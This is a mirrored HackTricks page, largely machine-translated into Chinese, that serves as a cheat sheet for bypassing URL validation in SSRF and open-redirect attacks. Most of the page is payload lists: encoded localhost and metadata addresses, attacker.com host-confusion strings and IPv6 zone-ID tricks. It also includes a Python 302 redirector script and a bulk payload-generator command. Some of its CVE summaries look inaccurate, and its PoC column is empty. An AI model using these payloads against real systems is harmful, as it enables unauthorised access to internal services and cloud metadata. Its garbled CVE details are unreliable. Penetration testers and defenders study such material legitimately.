mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
249 lines
11 KiB
Markdown
249 lines
11 KiB
Markdown
# URL Format Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Localhost
|
||
```bash
|
||
# Localhost
|
||
0 # Yes, just 0 is localhost in Linuc
|
||
http://127.0.0.1:80
|
||
http://127.0.0.1:443
|
||
http://127.0.0.1:22
|
||
http://127.1:80
|
||
http://127.000000000000000.1
|
||
http://0
|
||
http:@0/ --> http://localhost/
|
||
http://0.0.0.0:80
|
||
http://localhost:80
|
||
http://[::]:80/
|
||
http://[::]:25/ SMTP
|
||
http://[::]:3128/ Squid
|
||
http://[0000::1]:80/
|
||
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
|
||
http://①②⑦.⓪.⓪.⓪
|
||
|
||
# CDIR bypass
|
||
http://127.127.127.127
|
||
http://127.0.1.3
|
||
http://127.0.0.0
|
||
|
||
# Dot bypass
|
||
127。0。0。1
|
||
127%E3%80%820%E3%80%820%E3%80%821
|
||
|
||
# Decimal bypass
|
||
http://2130706433/ = http://127.0.0.1
|
||
http://3232235521/ = http://192.168.0.1
|
||
http://3232235777/ = http://192.168.1.1
|
||
|
||
# Octal Bypass
|
||
http://0177.0000.0000.0001
|
||
http://00000177.00000000.00000000.00000001
|
||
http://017700000001
|
||
|
||
# Hexadecimal bypass
|
||
127.0.0.1 = 0x7f 00 00 01
|
||
http://0x7f000001/ = http://127.0.0.1
|
||
http://0xc0a80014/ = http://192.168.0.20
|
||
0x7f.0x00.0x00.0x01
|
||
0x0000007f.0x00000000.0x00000000.0x00000001
|
||
|
||
# Mixed encodings bypass
|
||
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
|
||
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
|
||
|
||
# Add 0s bypass
|
||
127.000000000000.1
|
||
|
||
# You can also mix different encoding formats
|
||
# https://www.silisoftware.com/tools/ipconverter.php
|
||
|
||
# Malformed and rare
|
||
localhost:+11211aaa
|
||
localhost:00011211aaaa
|
||
http://0/
|
||
http://127.1
|
||
http://127.0.1
|
||
|
||
# DNS to localhost
|
||
localtest.me = 127.0.0.1
|
||
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
|
||
mail.ebc.apple.com = 127.0.0.6 (localhost)
|
||
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
|
||
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
|
||
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
|
||
http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
||
1ynrnhl.xip.io == 169.254.169.254
|
||
spoofed.burpcollaborator.net = 127.0.0.1
|
||
```
|
||
.png>)
|
||
|
||
该**Burp扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了IP格式绕过。
|
||
|
||
### 域解析器
|
||
```bash
|
||
https:attacker.com
|
||
https:/attacker.com
|
||
http:/\/\attacker.com
|
||
https:/\attacker.com
|
||
//attacker.com
|
||
\/\/attacker.com/
|
||
/\/attacker.com/
|
||
/attacker.com
|
||
%0D%0A/attacker.com
|
||
#attacker.com
|
||
#%20@attacker.com
|
||
@attacker.com
|
||
http://169.254.1698.254\@attacker.com
|
||
attacker%00.com
|
||
attacker%E3%80%82com
|
||
attacker。com
|
||
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
|
||
```
|
||
|
||
```
|
||
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
|
||
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
|
||
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
|
||
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
|
||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||
```
|
||
### 域名混淆
|
||
```bash
|
||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||
# Try replacing https by http
|
||
# Try URL-encoded characters
|
||
https://{domain}@attacker.com
|
||
https://{domain}.attacker.com
|
||
https://{domain}%6D@attacker.com
|
||
https://attacker.com/{domain}
|
||
https://attacker.com/?d={domain}
|
||
https://attacker.com#{domain}
|
||
https://attacker.com@{domain}
|
||
https://attacker.com#@{domain}
|
||
https://attacker.com%23@{domain}
|
||
https://attacker.com%00{domain}
|
||
https://attacker.com%0A{domain}
|
||
https://attacker.com?{domain}
|
||
https://attacker.com///{domain}
|
||
https://attacker.com\{domain}/
|
||
https://attacker.com;https://{domain}
|
||
https://attacker.com\{domain}/
|
||
https://attacker.com\.{domain}
|
||
https://attacker.com/.{domain}
|
||
https://attacker.com\@@{domain}
|
||
https://attacker.com:\@@{domain}
|
||
https://attacker.com#\@{domain}
|
||
https://attacker.com\anything@{domain}/
|
||
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
|
||
|
||
# On each IP position try to put 1 attackers domain and the others the victim domain
|
||
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||
|
||
#Parameter pollution
|
||
next={domain}&next=attacker.com
|
||
```
|
||
### 路径和扩展名绕过
|
||
|
||
如果要求 URL 必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||
```
|
||
https://metadata/vulerable/path#/expected/path
|
||
https://metadata/vulerable/path#.extension
|
||
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||
```
|
||
### Fuzzing
|
||
|
||
工具 [**recollapse**](https://github.com/0xacb/recollapse) 可以从给定输入生成变体,以尝试绕过使用的正则表达式。有关更多信息,请查看 [**这篇文章**](https://0xacb.com/2022/11/21/recollapse/)。
|
||
|
||
### Automatic Custom Wordlists
|
||
|
||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数中、Host 头中或 CORS 头中使用 URL。
|
||
|
||
{{#ref}}
|
||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||
{{#endref}}
|
||
|
||
### Bypass via redirect
|
||
|
||
服务器可能会 **过滤 SSRF 的原始请求**,但 **不** 过滤对该请求的可能 **重定向** 响应。\
|
||
例如,易受 SSRF 攻击的服务器通过:`url=https://www.google.com/` 可能会 **过滤 url 参数**。但是,如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方,您可能能够 **访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的 **协议**,如 gopher。\
|
||
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
#python3 ./redirector.py 8000 http://127.0.0.1/
|
||
|
||
import sys
|
||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
|
||
if len(sys.argv)-1 != 2:
|
||
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
|
||
sys.exit()
|
||
|
||
class Redirect(BaseHTTPRequestHandler):
|
||
def do_GET(self):
|
||
self.send_response(302)
|
||
self.send_header('Location', sys.argv[2])
|
||
self.end_headers()
|
||
|
||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||
```
|
||
## 解释的技巧
|
||
|
||
### 反斜杠技巧
|
||
|
||
_反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 特定于网络 URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记从主机名到 URL 路径的过渡。
|
||
|
||

|
||
|
||
### 左方括号
|
||
|
||
用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||
|
||
### 其他混淆
|
||
|
||
.png>)
|
||
|
||
来自 [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||
|
||
### IPv6 区域标识符 (%25) 技巧
|
||
|
||
支持 RFC 6874 的现代 URL 解析器允许 *链路本地* IPv6 地址在百分号后包含 **区域标识符**。一些安全过滤器并不意识到这种语法,只会剥离带方括号的 IPv6 字面量,从而让以下有效负载到达内部接口:
|
||
```text
|
||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||
```
|
||
如果目标应用程序验证主机不是 `fe80::1` 但在 `%` 处停止解析,它可能会错误地将请求视为外部。始终在任何安全决策之前规范化地址 **或** 完全去除可选的区域 ID。
|
||
|
||
### 最近的库解析 CVE(2022–2025)
|
||
|
||
一些主流框架遭遇了主机名不匹配的问题,一旦通过上述技巧绕过 URL 验证,就可以利用这些问题进行 SSRF:
|
||
|
||
| 年份 | CVE | 组件 | 漏洞摘要 | 最小 PoC |
|
||
|------|-----|-----------|--------------|-------------|
|
||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | 在 *userinfo* 部分不允许使用 `[`,因此 `https://example.com\[@internal` 被 Spring 解析为主机 `example.com`,但被浏览器解析为 `internal`,在使用主机白名单时启用开放重定向和 SSRF。升级到 Spring 5.3.34 / 6.0.19 / 6.1.6+。 |
|
||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | 反斜杠混淆允许 `http://example.com\\@169.254.169.254/` 绕过在 `@` 处分割的主机过滤器。 |
|
||
| 2022 | CVE-2022-3602 | OpenSSL | 当名称以 `.` 结尾时跳过主机名验证(无点域混淆)。 |
|
||
|
||
当您依赖第三方 URL 解析器时,**将您信任的库返回的规范化主机与用户提供的原始字符串进行比较**,以检测这些类别的问题。
|
||
|
||
### 负载生成助手(2024+)
|
||
|
||
手动创建大型自定义词汇表是繁琐的。开源工具 **SSRF-PayloadMaker**(Python 3)现在可以自动生成 *80 k+* 主机混淆组合,包括混合编码、强制 HTTP 降级和反斜杠变体:
|
||
```bash
|
||
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||
```
|
||
生成的列表可以直接输入到 Burp Intruder 或 `ffuf` 中。
|
||
|
||
## 参考文献
|
||
|
||
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
|
||
- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|